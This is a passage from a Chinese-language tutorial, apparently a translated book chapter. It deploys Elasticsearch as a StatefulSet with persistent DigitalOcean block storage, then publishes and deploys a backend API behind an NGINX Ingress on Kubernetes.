securityContext:
privileged: true
- name: increase-file-descriptor-limit
image: busybox
command:
- sh
- -c
- ulimit -n 65536
securityContext:
privileged: true
containers:
- name: elasticsearch
image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.3.2
ports:
- containerPort: 9200
name: http
- containerPort: 9300
name: tcp
env:
- name: discovery.zen.ping.unicast.hosts
value: "elasticsearch-0.elasticsearch.default.svc.cluster.local,elasticsearch-1.elasticsearch.default.svc.cluster.local,elasticsearch-2.elasticsearch.default.svc.cluster.local"
此配置以与 pssh
相同的方式配置我们的节点,但增加了配置为代码的好处,因为现在它已成为我们 stateful-set.yaml
的一部分。
运行 Elasticsearch 服务
随着 stateful-set.yaml
准备就绪,现在是时候将我们的服务和有状态集部署到我们的远程云集群上了。
目前,我们的远程集群除了 Kubernetes 主组件外没有运行任何其他东西:
$ kubectl get all
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.32.0.1 <none> 443/TCP 17h
当我们使用 DigitalOcean 创建新集群时,Kubernetes 主组件会自动部署。
要部署我们的服务和有状态集,我们将使用 kubectl apply
:
$ kubectl apply -f manifests/elasticsearch/service.yaml
service "elasticsearch" created
$ kubectl apply -f manifests/elasticsearch/stateful-set.yaml
statefulset.apps "elasticsearch" created
等待一分钟或更长时间,然后再次运行 kubectl get all
。你应该会看到 Pods、有状态集和我们的无头服务正在成功运行!
$ kubectl get all
NAME READY STATUS RESTARTS AGE
pod/elasticsearch-0 1/1 Running 0 1m
pod/elasticsearch-1 1/1 Running 0 1m
pod/elasticsearch-2 1/1 Running 0 10s
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/elasticsearch ClusterIP None <none> 9200/TCP,9300/TCP 1m
service/kubernetes ClusterIP 10.32.0.1 <none> 443/TCP 18h
NAME DESIRED CURRENT AGE
statefulset.apps/elasticsearch 3 3 1m
在远程集群上验证 Zen Discovery
让我们再次验证三个 Elasticsearch 节点是否已成功添加到 Elasticsearch 集群中。我们可以通过向 /_cluster/state?pretty
发送一个 GET
请求并检查输出来完成此操作。
但由于我们希望将数据库服务内部化,我们没有将其暴露给外部可访问的 URL,因此验证的唯一方法是 SSH 连接到其中一个 VPS,并使用其私有 IP 查询 Elasticsearch。
然而,kubectl
提供了一个更方便的替代方案。kubectl
有一个 port-forward
命令,它将进入 localhost
上端口的请求转发到 Pods 上的一个端口。我们可以使用这个功能将来自我们本地机器的请求发送到每个 Elasticsearch 实例。
假设我们运行了三个运行 Elasticsearch 的 Pods:
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
elasticsearch-0 1/1 Running 0 34m
elasticsearch-1 1/1 Running 0 34m
elasticsearch-2 1/1 Running 0 34m
我们可以通过运行以下命令在 elasticsearch-0
上设置端口转发:
$ kubectl port-forward elasticsearch-0 9200:9200
Forwarding from 127.0.0.1:9200 -> 9200
Forwarding from [::1]:9200 -> 9200
现在,在另一个终端中,向 http://localhost:9200/_cluster/state?pretty
发送一个 GET
请求:
$ curl http://localhost:9200/_cluster/state?pretty
{
"cluster_name" : "docker-cluster",
"state_uuid" : "rTHLkSYrQIu5E6rcGJZpCA",
"master_node" : "TcYdL65VSb-W1ZzXPfB8aA",
"nodes" : {
"ns1ZaCTCS9ywDSntHz94vg" : {
"name" : "ns1ZaCT",
"ephemeral_id" : "PqwcVrldTOyKSfQ-ZfhoUQ",
"transport_address" : "10.244.24.2:9300",
"attributes" : { }
},
"94Q-t8Y8SJiXnwVzsGcdyA" : {
"name" : "94Q-t8Y",
"ephemeral_id" : "n-7ew1dKSL2LLKzA-chhUA",
"transport_address" : "10.244.18.3:9300",
"attributes" : { }
},
"TcYdL65VSb-W1ZzXPfB8aA" : {
"name" : "TcYdL65",
"ephemeral_id" : "pcghJOnTSgmB8xMh4DKSHA",
"transport_address" : "10.244.75.3:9300",
"attributes" : { }
}
},
"metadata" : {
"cluster_uuid" : "ZF1t_X_XT0q5SPANvzE4Nw",
...
},
...
}
如您所见,node
字段包含三个对象,代表我们每个 Elasticsearch 实例。它们都是集群的一部分,具有 cluster_uuid
值为 ZF1t_X_XT0q5SPANvzE4Nw
。尝试将端口转发到其他 Pods,并确认这些节点的 cluster_uuid
是否相同。
如果一切正常,我们现在已经在 DigitalOcean 上成功部署了相同的 Elasticsearch 服务!
持久化数据
然而,我们还没有完成!目前,如果所有的 Elasticsearch 容器都失败了,存储在其中的数据将会丢失。
这是因为容器是 ephemeral 的,意味着容器内部任何文件的变化(无论是添加还是删除),都只会持续到容器存在的时间;一旦容器消失,这些变化也随之消失。
这对于无状态应用来说是可以的,但我们的 Elasticsearch 服务的主要目的是存储状态。因此,类似于我们在 Docker 中使用卷持久化数据的方式,我们同样需要在 Kubernetes 中这样做。
介绍 Kubernetes Volumes
与 Docker 一样,Kubernetes 也有一个名为 Volume 的 API 对象,但两者之间有几个区别。
使用 Docker 和 Kubernetes,存储卷背后的存储解决方案可以是主机上的目录,也可以是云解决方案(如 AWS)的一部分。
对于 Docker 和 Kubernetes 来说,卷是对存储抽象的一种,可以是附加或挂载的。区别在于它挂载到哪个资源上。
使用 Docker 卷,存储被挂载到容器内部的目录上。对目录内容所做的任何更改都可以由主机机器和容器访问。
使用 Kubernetes 卷,存储被映射到 Pod 内部的目录。同一 Pod 内的容器可以访问 Pod 的卷。这允许同一 Pod 内的容器轻松共享信息。
定义卷
卷是通过在 Pod 清单文件中的.spec.volumes
字段中指定有关卷的信息来创建的。以下清单片段将创建一个类型为hostPath
的卷,使用在path
和type
属性中定义的参数。
hostPath
是与 Docker 卷最相似的卷类型,其中卷作为主机节点文件系统中的一个目录存在:
apiVersion: v1
kind: Pod
spec:
...
volumes:
- name: host-volume
hostPath:
path: /data
type: Directory
此卷现在将可供 Pod 内的所有容器使用。然而,卷不会自动挂载到每个容器上。这是出于设计考虑,因为并非所有容器都需要使用卷;它允许配置是明确的而不是隐含的。
将卷挂载到容器中,请在容器的规范中指定volumeMounts
选项:
apiVersion: v1
kind: Pod
spec:
containers:
- name: elasticsearch
image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4
ports:
- containerPort: 9200
- containerPort: 9300
env:
- name: discovery.type
value: single-node
volumeMounts:
- mountPath: /usr/share/elasticsearch/data
name: host-volume
...
mountPath
指定了卷应该挂载到容器内部的目录。
要运行此 Pod,您首先需要在您的宿主机上创建一个/data
目录,并将其所有权更改为具有UID
和GID
为1000
:
$ sudo mkdir data
$ sudo chown 1000:1000 /data
现在,当我们运行这个 Pod 时,你应该能够在<pod-ip>:9200
上查询它,并看到写入到/data
目录的内容:
$ tree /data
data/
└── nodes
└── 0
├── node.lock
└── _state
├── global-0.st
└── node-0.st
3 directories, 3 files
手动管理卷的问题
虽然您可以使用卷来持久化单个 Pod 的数据,但这对于我们的 StatefulSet 不起作用。这是因为每个副本 Elasticsearch 节点都会尝试同时写入相同的文件;只有一个会成功,其他都会失败。如果您尝试这样做,您将遇到以下挂起状态:
$ kubectl get pods
NAME READY STATUS RESTARTS
elasticsearch-0 1/1 Running 0
elasticsearch-1 0/1 CrashLoopBackOff 7
elasticsearch-2 0/1 CrashLoopBackOff 7
如果我们使用kubectl logs
检查其中一个失败的 Pod,您将看到以下错误信息:
$ kubectl logs elasticsearch-1
[WARN ][o.e.b.ElasticsearchUncaughtExceptionHandler] [] uncaught exception in thread [main]
org.elasticsearch.bootstrap.StartupException: java.lang.IllegalStateException: failed to obtain node locks, tried [[/usr/share/elasticsearch/data/docker-cluster]] with lock id [0]; maybe these locations are not writable or multiple nodes were started without increasing [node.max_local_storage_nodes] (was [1])?
基本上,在 Elasticsearch 实例开始写入数据库文件之前,它会创建一个node.lock
文件。在其他实例尝试写入相同的文件之前,它将检测到这个node.lock
文件并中止。
除了这个问题之外,直接将卷附加到 Pod 上还有一个不好的原因——卷在 Pod 级别持久化数据,但 Pod 可能会被重新调度到其他节点。当这种情况发生时,"旧"的 Pod 及其关联的卷将被销毁,并在不同的节点上部署一个新的 Pod,其卷为空。
最后,以这种方式扩展存储也很困难——如果 Pod 需要更多存储,你必须销毁 Pod(以确保它不对卷进行写入,创建一个新的卷,将旧卷的内容复制到新卷,然后重启 Pod)。
介绍持久卷(PV)
为了解决这些问题,Kubernetes 提供了持久卷(PV)对象。持久卷是卷对象的变体,但存储能力与整个集群相关联,而不是与任何特定的 Pod 相关联。
使用持久卷声明(PVC)消耗 PV
当管理员希望 Pod 使用由 PV 提供的存储时,管理员会创建一个新的持久卷声明(PersistentVolumeClaim)对象,并将该 PVC 对象分配给 Pod。PVC 对象简单来说就是请求将一个合适的 PV 绑定到 PVC(以及 Pod)。
PVC 在主控制平面注册后,主控制平面会寻找满足 PVC 中规定的标准的 PV,并将两者绑定在一起。例如,如果 PVC 请求至少有 5 GB 存储空间的 PV,主控制平面只会将具有至少 5 GB 空间的 PV 绑定到该 PVC。
PVC 绑定到 PV 后,Pod 将能够读写 PV 背后的存储介质。
PVC 到 PV 的绑定是一对一的映射;这意味着当 Pod 重新调度时,相同的 PV 将与 Pod 相关联。
删除持久卷声明
当一个 Pod 不再需要使用持久卷(PersistentVolume)时,可以直接删除 PVC。当这种情况发生时,存储介质内部存储的数据将取决于持久卷的回收策略(Reclaim Policy)。
如果回收策略设置为:
-
保留,PV 被保留——PVC 只是从 PV 释放/解绑。存储介质中的数据被保留。
-
删除,它将删除 PV 和存储介质中的数据。
删除持久卷
当你不再需要 PV 时,你可以删除它。但由于实际数据存储在外部,数据将保留在存储介质中。
手动配置持久卷的问题
虽然持久卷将存储与单个 Pod 解耦,但它仍然缺乏我们从 Kubernetes 期望的自动化,因为集群管理员(你)必须手动与云提供商交互以配置新的存储空间,然后创建表示它们的 Kubernetes 中的持久卷:
此外,PVC 到 PV 的绑定是一对一的映射;这意味着我们在创建 PV 时必须小心。例如,假设我们有两个 PVC,一个请求 10 GB,另一个请求 40 GB。如果我们注册两个大小为 25GB 的 PV,那么只有 10 GB 的 PVC 会成功,尽管为两个 PVC 都有足够的存储空间。
使用 StorageClass 进行动态卷配置
为了解决这些问题,Kubernetes 提供了另一个 API 对象,称为 StorageClass
。通过 StorageClass
,Kubernetes 能够直接与云提供商交互。这使得 Kubernetes 能够提供新的存储卷,并自动创建 PersistentVolumes
。
基本上,PersistentVolume
是存储的一部分表示,而 StorageClass
是动态创建 PersistentVolumes
的 方式 的规范。StorageClass
将手动过程抽象成可以在清单文件中指定的字段集。
定义 StorageClass
例如,如果你想创建一个将创建 Amazon EBS 通用型 SSD (gp2
) 卷的 StorageClass
,你可以定义一个如下所示的 StorageClass
清单:
kind: StorageClass
apiVersion: storage.k8s.io/v1
metadata:
name: standard
provisioner: kubernetes.io/aws-ebs
parameters:
type: gp2
reclaimPolicy: Retain
下面是每个字段的意义(带星号 *
的字段为必填项):
-
apiVersion
:StorageClass
对象位于storage.k8s.io
API 组中。 -
*provisioner
: 一个 提供者 的名称,该提供者将根据需求准备新的存储空间。例如,如果一个 Pod 从standard
StorageClass 请求 10 GB 的块存储,那么kubernetes.io/aws-ebs
提供者将直接与 AWS 交互,创建至少 10 GB 大小的新的存储卷。 -
*parameters
: 传递给提供者的参数,以便它知道如何提供存储。有效的参数取决于提供者。例如,kubernetes.io/aws-ebs
和kubernetes.io/gce-pd
都支持type
参数。 -
*reclaimPolicy
: 与PersistentVolumes
类似,回收策略决定了写入存储介质的 数据是保留还是删除。这可以是Delete
或Retain
,但默认为Delete
。
可用的提供者类型有很多。Amazon EBS 在 AWS 上提供 块存储,但还有其他类型的存储,即文件和对象存储。在这里我们将使用块存储,因为它提供了最低的延迟,并且适合与我们的 Elasticsearch 数据库一起使用。
使用 csi-digitalocean 提供者
DigitalOcean 提供了自己的提供者,称为 CSI-DigitalOcean (github.com/digitalocean/csi-digitalocean
)。要使用它,只需遵循 README.md
文件中的说明。基本上,你需要进入 DigitalOcean 控制台,生成一个令牌,使用该令牌生成一个 Secret Kubernetes 对象,然后部署位于 raw.githubusercontent.com/digitalocean/csi-digitalocean/master/deploy/kubernetes/releases/csi-digitalocean-latest-stable.yaml
的 StorageClass 清单文件。
然而,因为我们使用的是 DigitalOcean Kubernetes 平台,我们的 Secret 和 csi-digitaloceanstorage
类已经为我们配置好了,所以我们实际上不需要做任何事情!你可以使用 kubectl get
命令来检查 Secret 和 StorageClass:
$ kubectl get secret
NAME TYPE DATA AGE
default-token-2r8zr kubernetes.io/service-account-token 3 2h
$ kubectl get storageclass
NAME PROVISIONER AGE
do-block-storage (default) com.digitalocean.csi.dobs 2h
记下存储类(此处为 do-block-storage
)的名称。
将 PersistentVolume 挂载到有状态集
我们现在需要更新我们的 stateful-set.yaml
文件以使用 do-block-storage
存储类。在有状态集规范(.spec
)下,添加一个名为 volumeClaimTemplates
的新字段,其值为以下内容:
apiVersion: apps/v1
kind: StatefulSet
metadata: ...
spec:
volumeClaimTemplates:
- metadata:
name: data
spec:
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 2Gi
storageClassName: do-block-storage
这将使用 do-block-storage
类为任何挂载它的容器动态配置 2 GB 的 PersistentVolumeClaim
对象。PVC 被命名为 data
作为参考。
要将其挂载到容器中,请在容器规范属性的 spec
属性下添加一个 volumeMounts
属性:
apiVersion: apps/v1
kind: StatefulSet
metadata: ...
spec:
...
template:
...
spec:
initContainers: ...
containers: ...
volumeMounts:
- name: data
mountPath: /usr/share/elasticsearch/data
volumeClaimTemplates: ...
Elasticsearch 将其数据写入 /usr/share/elasticsearch/data
,因此这是我们想要持久化的数据。
配置绑定挂载目录的权限
默认情况下,Elasticsearch 以 elasticsearch
用户身份在 Docker 容器中运行,具有 UID
和 GID
都为 1000
。因此,我们必须确保数据目录(/usr/share/elasticsearch/data
)及其所有内容将由这个 elasticsearch
用户拥有,以便 Elasticsearch 可以写入它们。
当 Kubernetes 将 PersistentVolume
绑定到我们的 /usr/share/elasticsearch/data
时,这是使用 root
用户完成的。这意味着 /usr/share/elasticsearch/data
目录不再由 elasticsearch
用户拥有。
因此,为了完成我们的 Elasticsearch 部署,我们需要使用初始化容器来修复我们的权限。这可以通过在节点上以 root
身份运行 chown -R 1000:1000 /usr/share/elasticsearch/data
来完成。
在 stateful-set.yaml
内部的 initContainers
数组中添加以下条目:
- name: fix-volume-permission
image: busybox
command:
- sh
- -c
- chown -R 1000:1000 /usr/share/elasticsearch/data
securityContext:
privileged: true
volumeMounts:
- name: data
mountPath: /usr/share/elasticsearch/data
这基本上是在应用程序容器开始初始化之前挂载 PersistentVolume
并更新其所有者,以确保应用程序容器执行时权限已经正确设置。总结一下,您的最终 elasticsearch/service.yaml
应该看起来像这样:
apiVersion: v1
kind: Service
metadata:
name: elasticsearch
labels:
app: elasticsearch
spec:
selector:
app: elasticsearch
clusterIP: None
ports:
- port: 9200
name: rest
- port: 9300
name: transport
并且您的最终 elasticsearch/stateful-set.yaml
应该看起来像这样:
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: elasticsearch
labels:
app: elasticsearch
spec:
replicas: 3
serviceName: elasticsearch
selector:
matchLabels:
app: elasticsearch
template:
metadata:
labels:
app: elasticsearch
spec:
initContainers:
- name: increase-max-map-count
image: busybox
command:
- sysctl
- -w
- vm.max_map_count=262144
securityContext:
privileged: true
- name: increase-file-descriptor-limit
image: busybox
command:
- sh
- -c
- ulimit -n 65536
securityContext:
privileged: true
containers:
- name: elasticsearch
image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.3.2
ports:
- containerPort: 9200
name: http
- containerPort: 9300
name: tcp
env:
- name: discovery.zen.ping.unicast.hosts
value: "elasticsearch-0.elasticsearch.default.svc.cluster.local,elasticsearch-1.elasticsearch.default.svc.cluster.local,elasticsearch-2.elasticsearch.default.svc.cluster.local"
volumeMounts:
- name: data
mountPath: /usr/share/elasticsearch/data
volumeClaimTemplates:
- metadata:
name: data
spec:
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 2Gi
storageClassName: do-block-storage
删除您现有的服务、有状态集和 Pod,并尝试从头开始部署它们:
$ kubectl apply -f ./manifests/elasticsearch/service.yaml
service "elasticsearch" created
$ kubectl apply -f ./manifests/elasticsearch/stateful-set.yaml
statefulset.apps "elasticsearch" created
使用 Web UI 仪表板可视化 Kubernetes 对象
在本章中,您已经接触到了很多 Kubernetes——命名空间、节点、Pod、部署、副本集、有状态集、守护进程集、服务、卷、持久卷和存储类。所以,在我们继续之前,让我们稍作休息。
到目前为止,我们一直在使用 kubectl
。虽然 kubectl
很棒,但有时可视化工具可以有所帮助。Kubernetes 项目提供了一个方便的 Web UI 仪表板,允许您轻松地可视化所有 Kubernetes 对象。
Kubernetes Web UI 仪表板与 DigitalOcean 仪表板不同。
kubectl
和 Web UI 仪表板都会调用 kube-apiserver
,但前者是命令行工具,而后者提供了一个网络界面。
默认情况下,Web UI 仪表板不会自动部署。我们通常需要运行以下命令来在我们的集群上运行仪表板实例:
$ kubectl create -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml
然而,DigitalOcean 和 Minikube 默认都部署了此仪表板功能,因此我们不需要部署任何内容。
在本地启动 Web UI 仪表板
要启动本地集群的 Web UI 仪表板,请运行 minikube dashboard
。这将在新标签页的浏览器中打开一个类似于以下概述屏幕:
你可以使用左侧菜单进行导航并查看我们集群中当前运行的其他 Kubernetes 对象:
在远程集群上启动 Web UI 仪表板
要访问远程集群上部署的 Web UI 仪表板,更简单的方法是使用 kubectl proxy
访问远程集群的 Kubernetes API。只需运行 kubectl proxy
,Web UI 仪表板应该可在 localhost:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/
上访问。
我们将在本章的剩余部分继续使用 kubectl
,但你可以自由切换到 Web UI 仪表板以获得对集群更直观的视图。
部署后端 API
我们已部署了 Elasticsearch,因此让我们继续部署剩余的内容——我们的后端 API 和前端应用程序。
部署中使用的 elasticsearch
Docker 镜像在公共领域可用。然而,我们的后端 API Docker 镜像在任何地方都不可用,因此我们的远程 Kubernetes 集群将无法拉取和部署它。
因此,我们需要构建我们的 Docker 镜像并在 Docker 仓库中使其可用。如果我们不介意我们的镜像被其他人下载,我们可以在公共仓库如 Docker Hub 上发布它。如果我们想控制对镜像的访问,我们需要在私有仓库上部署它。
为了简单起见,我们将在 Docker Hub 上公开发布我们的镜像。
将我们的镜像发布到 Docker Hub
首先,前往 hub.docker.com/
并在 Docker Hub 上创建一个账户。确保验证你的电子邮件。
然后,点击顶部导航中的“创建 | 创建仓库”。为仓库提供一个唯一的名称并按创建。你可以根据自己的偏好设置仓库为公共或私有(在撰写本书时,Docker Hub 提供一个免费的私有仓库):
仓库可以使用 <namespace>/<repository-name>
来识别,其中命名空间只是你的 Docker Hub 用户名。你可以在 Docker Hub 上通过 URL hub.docker.com/r/<namespace>/<repository-name>/
找到它。
如果你有一个组织,命名空间可能是组织的名称。
接下来,返回你的终端并使用你的 Docker Hub 凭据登录。例如,我的 Docker Hub 用户名是 d4nyll
,所以我将运行以下命令:
$ docker login --username d4nyll
当提示输入密码时,你应该会看到一个消息通知你 Login Succeeded
。接下来,如果你还没有做的话,构建镜像:
$ docker build -t hobnob:0.1.0 . --no-cache
Sending build context to Docker daemon 359.4kB
Step 1/13 : FROM node:8-alpine as builder
...
Successfully built 3f2d6a073e1a
然后,使用 Docker Hub 上的完整仓库名称以及一个将在 Docker Hub 上出现的标签来标记本地镜像,以区分不同版本的镜像。你应该运行的 docker tag
命令结构如下:
$ docker tag <local-image-name>:<local-image-tag> <hub-namespace>/<hub-repository-name>:<hub-tag>
在我的例子中,我会运行以下命令:
$ docker tag hobnob:0.1.0 d4nyll/hobnob:0.1.0
最后,将镜像推送到 Docker Hub:
$ docker push d4nyll/hobnob
The push refers to repository [docker.io/d4nyll/hobnob]
90e19b6c8d6d: Pushed
49fb9451c65f: Mounted from library/node
7d863d91deaa: Mounted from library/node
8dfad2055603: Mounted from library/node
0.1.0: digest: sha256:21610fecafb5fd8d84a0844feff4fdca5458a1852650dda6e13465adf7ee0608 size: 1163
通过访问 https://hub.docker.com/r/<namespace>/<repository-name>/tags/
确认它已被成功推送。你应该在那里看到标记的镜像。
创建部署
由于我们的后端 API 是无状态应用程序,我们不需要像 Elasticsearch 那样部署一个有状态集。我们可以简单地使用我们已经遇到过的更简单的 Kubernetes 对象——部署。
在 manifests/backend/deployment.yaml
创建一个新的清单,内容如下:
apiVersion: apps/v1
kind: Deployment
metadata:
name: backend
labels:
app: backend
spec:
selector:
matchLabels:
app: backend
replicas: 3
template:
metadata:
labels:
app: backend
spec:
containers:
- name: backend
image: d4nyll/hobnob:0.1.0
ports:
- containerPort: 8080
name: api
- containerPort: 8100
name: docs
env:
- name: ELASTICSEARCH_HOSTNAME
value: "http://elasticsearch"
- name: ELASTICSEARCH_PORT
value: "9200"
...
对于 .spec.template.spec.containers[].env
字段,添加与我们在上一章中传递给 Docker 镜像相同的环境变量(我们存储在 .env
文件中的那些)。然而,对于 ELASTICSEARCH_PORT
变量,将其硬编码为 "9200"
,对于 ELASTICSEARCH_HOSTNAME
,使用值 "http://elasticsearch"
。
使用 kube-dns/CoreDNS 发现服务
虽然 Kubernetes 组件构成了 Kubernetes 平台的基本部分,但也有扩展核心功能的 附加组件。它们是可选的,但其中一些强烈推荐,并且通常默认包含。实际上,Web UI 仪表板就是一个附加组件的例子。
另一个这样的附加组件是 kube-dns
,这是一个 DNS 服务器,Pod 用于解析主机名。
CoreDNS 是一个替代 DNS 服务器,在 Kubernetes 1.11 中达到 GA(通用可用性)状态,取代了现有的 kube-dns
附加组件作为默认。对于我们的目的,它们达到相同的结果。
此 DNS 服务器监视 Kubernetes API 以查找新的服务。当创建新的服务时,会创建一个 DNS 记录,将名称 <service-name>.<service-namespace>
路由到服务的集群 IP。或者,在无头服务(没有集群 IP)的情况下,是无头服务构成 Pod 的 IP 列表。
这就是为什么我们可以将 "http://elasticsearch"
作为 ELASTICSEARCH_HOSTNAME
环境变量的值,因为 DNS 服务器会解析它,即使服务更改了其 IP。
运行我们的后端部署
我们的部署清单准备好了,现在让我们将其部署到我们的远程集群。你现在应该熟悉这个过程了——只需运行 kubectl apply
:
$ kubectl apply -f ./manifests/backend/deployment.yaml
deployment.apps "backend" created
使用 kubectl get all
检查部署的状态:
$ kubectl get all
NAME READY STATUS RESTARTS AGE
pod/backend-6d58f66658-6wx4f 1/1 Running 0 21s
pod/backend-6d58f66658-rzwnl 1/1 Running 0 21s
pod/backend-6d58f66658-wlsdz 1/1 Running 0 21s
pod/elasticsearch-0 1/1 Running 0 18h
pod/elasticsearch-1 1/1 Running 0 20h
pod/elasticsearch-2 1/1 Running 0 20h
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
service/elasticsearch ClusterIP None <none> 9200/TCP,9300/TCP
service/kubernetes ClusterIP 10.32.0.1 <none> 443/TCP
NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE
deployment.apps/backend 3 3 3 3 21s
NAME DESIRED CURRENT READY AGE
replicaset.apps/backend-6d58f66658 3 3 3 21s
NAME DESIRED CURRENT AGE
statefulset.apps/elasticsearch 3 3 20h
您还可以检查后端 Pod 的日志。如果您收到一条消息说服务器正在监听端口 8080
,则部署成功:
$ kubectl logs pod/backend-6d58f66658-6wx4f
Hobnob API server listening on port 8080!
创建后端服务
接下来,我们应该部署一个位于后端 Pod 前面的服务。作为回顾,backend
部署内部的每个 backend
Pod 都将有自己的 IP 地址,但这些地址可能会随着 Pod 的销毁和创建而改变。在 Pod 前面有一个服务可以允许应用程序的其他部分以一致的方式访问这些后端 Pod。
在 ./manifests/backend/service.yaml
创建一个新的清单文件,内容如下:
apiVersion: v1
kind: Service
metadata:
name: backend
labels:
app: backend
spec:
selector:
app: backend
ports:
- port: 8080
name: api
- port: 8100
name: docs
使用 kubectl apply
部署它:
$ kubectl apply -f ./manifests/backend/service.yaml
service "backend" created
$ kubectl get services
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
backend ClusterIP 10.32.187.38 <none> 8080/TCP,8100/TCP 4s
elasticsearch ClusterIP None <none> 9200/TCP,9300/TCP 1d
kubernetes ClusterIP 10.32.0.1 <none> 443/TCP 1d
我们的 backend
服务现在可以通过其集群 IP (10.32.187.38
,在我们的示例中)访问。然而,这是一个私有 IP 地址,只能在集群内部访问。我们希望我们的 API 对外部——更广泛的互联网——可用。为此,我们需要查看一个最终的 Kubernetes 对象——Ingress。
通过 Ingress 暴露服务
Ingress 是一个位于集群边缘的 Kubernetes 对象,用于管理集群内部服务的外部访问。
Ingress 包含一组规则,这些规则将传入请求作为参数,并将它们路由到相关的服务。它可以用于路由、负载均衡、终止 SSL 等。
部署 NGINX Ingress 控制器
Ingress 对象需要一个控制器来执行它。与其他 Kubernetes 控制器不同,这些控制器是 kube-controller-manager
二进制文件的一部分,而 Ingress 控制器不是。除了 GCE/Google Kubernetes Engine 之外,Ingress 控制器需要作为 Pod 独立部署。
最受欢迎的 Ingress 控制器是 NGINX 控制器 (github.com/kubernetes/ingress-nginx
),它由 Kubernetes 和 NGINX 正式支持。通过运行 kubectl apply
来部署它:
$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/mandatory.yaml
$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/provider/cloud-generic.yaml
mandatory.yaml
文件包含一个部署清单,该清单将 NGINX Ingress 控制器作为带有标签 app: ingress-nginx
的 Pod 部署。
cloud-generic.yaml
文件包含一个类型为 LoadBalancer
的服务清单,用于选择标签 app: ingress-nginx
。当部署时,这将与 DigitalOcean API 交互,启动一个 L4 网络负载均衡器(注意,这个负载均衡器是外部我们的 Kubernetes 集群):
L4 负载均衡器将为我们的最终用户提供一个外部 IP 地址。Kubernetes 服务控制器将自动将我们的 Pod 条目填充到 L4 负载均衡器中,并设置健康检查和防火墙。最终结果是,任何击中 L4 负载均衡器的请求都将转发到匹配服务选择器的 Pod,在我们的例子中是 Ingress 控制器 Pod:
当请求到达 Ingress 控制器 Pod 时,它可以检查请求的主机和路径,并将请求代理到相关的服务:
等一两分钟,然后通过运行 kubectl get pods
并指定 ingress-nginx
作为命名空间来检查控制器是否成功创建:
$ kubectl get pods --namespace=ingress-nginx
NAME READY STATUS RESTARTS AGE
default-http-backend-5c6d95c48-8tjc5 1/1 Running 0 1m
nginx-ingress-controller-6b9b6f7957-7tvp7 1/1 Running 0 1m
如果你看到一个名为 nginx-ingress-controller-XXX
的 Pod 状态为 Running
,你就准备就绪了!
部署 Ingress 资源
现在,我们的 Ingress 控制器正在运行,我们已经准备好部署我们的 Ingress 资源。在 ./manifests/backend/ingress.yaml
创建一个新的清单文件,内容如下:
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: test-ingress
annotations:
nginx.ingress.kubernetes.io/rewrite-target: /
spec:
rules:
- host: api.hobnob.social
http:
paths:
- backend:
serviceName: backend
servicePort: 8080
- host: docs.hobnob.social
http:
paths:
- backend:
serviceName: backend
servicePort: 8100
重要的部分在于 .spec.rules
。这是一个检查请求的主机和路径的规则列表,如果匹配,则将请求代理到指定的服务。
在我们的示例中,我们将域名 api.hobnob.social
的任何请求匹配到我们的 backend
服务,端口为 8080
;同样,我们也将主机 docs.hobnob.social
的请求转发到我们的 backend
服务,但端口为 8100
。
现在,使用 kubectl apply
部署它,然后等待 L4 负载均衡器的地址出现在 kubectl describe
输出中:
$ kubectl apply -f ./manifest/backend/ingress.yaml
ingress.extensions "backend-ingress" created
$ kubectl describe ingress backend-ingress
Name: backend-ingress
Namespace: default
Address: 174.138.126.169
Default backend: default-http-backend:80 (<none>)
Rules:
Host Path Backends
---- ---- --------
api.hobnob.social
backend:8080 (<none>)
docs.hobnob.social
backend:8100 (<none>)
Annotations:
kubectl.kubernetes.io/last-applied-configuration: {"apiVersion":"extensions/v1beta1","kind":"Ingress","metadata":{"annotations":{"nginx.ingress.kubernetes.io/rewrite-target":"/"},"name":"backend-ingress","namespace":"default"},"spec":{"rules":[{"host":"api.hobnob.social","http":{"paths":[{"backend":{"serviceName":"backend","servicePort":8080}}]}},{"host":"docs.hobnob.social","http":{"paths":[{"backend":{"serviceName":"backend","servicePort":8100}}]}}]}}
nginx.ingress.kubernetes.io/rewrite-target: /
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Normal UPDATE 2s nginx-ingress-controller Ingress default/backend-ingress
这意味着任何带有主机 api.hobnob.social
和 docs.hobnob.social
的请求现在都可以到达我们的分布式服务!
更新 DNS 记录
现在,由于 api.hobnob.social
和 docs.hobnob.social
域名都可以通过负载均衡器访问,是时候更新我们的 DNS 记录,将这些子域名指向负载均衡器的公网 IP 地址了:
在 DNS 记录传播之后,打开浏览器并尝试访问 docs.hobnob.social
。你应该能看到 Swagger UI 文档!
摘要
在本章中,我们已经成功地在 Kubernetes 上部署了我们的 Elasticsearch 实例和后端 API。我们学习了每个组件的角色以及每个组件管理的对象类型。
从我们开始到现在,你已经走了很长的路!为了完成它,让我们看看你是否能利用你所学的知识自己部署前端应用程序到 Kubernetes 上。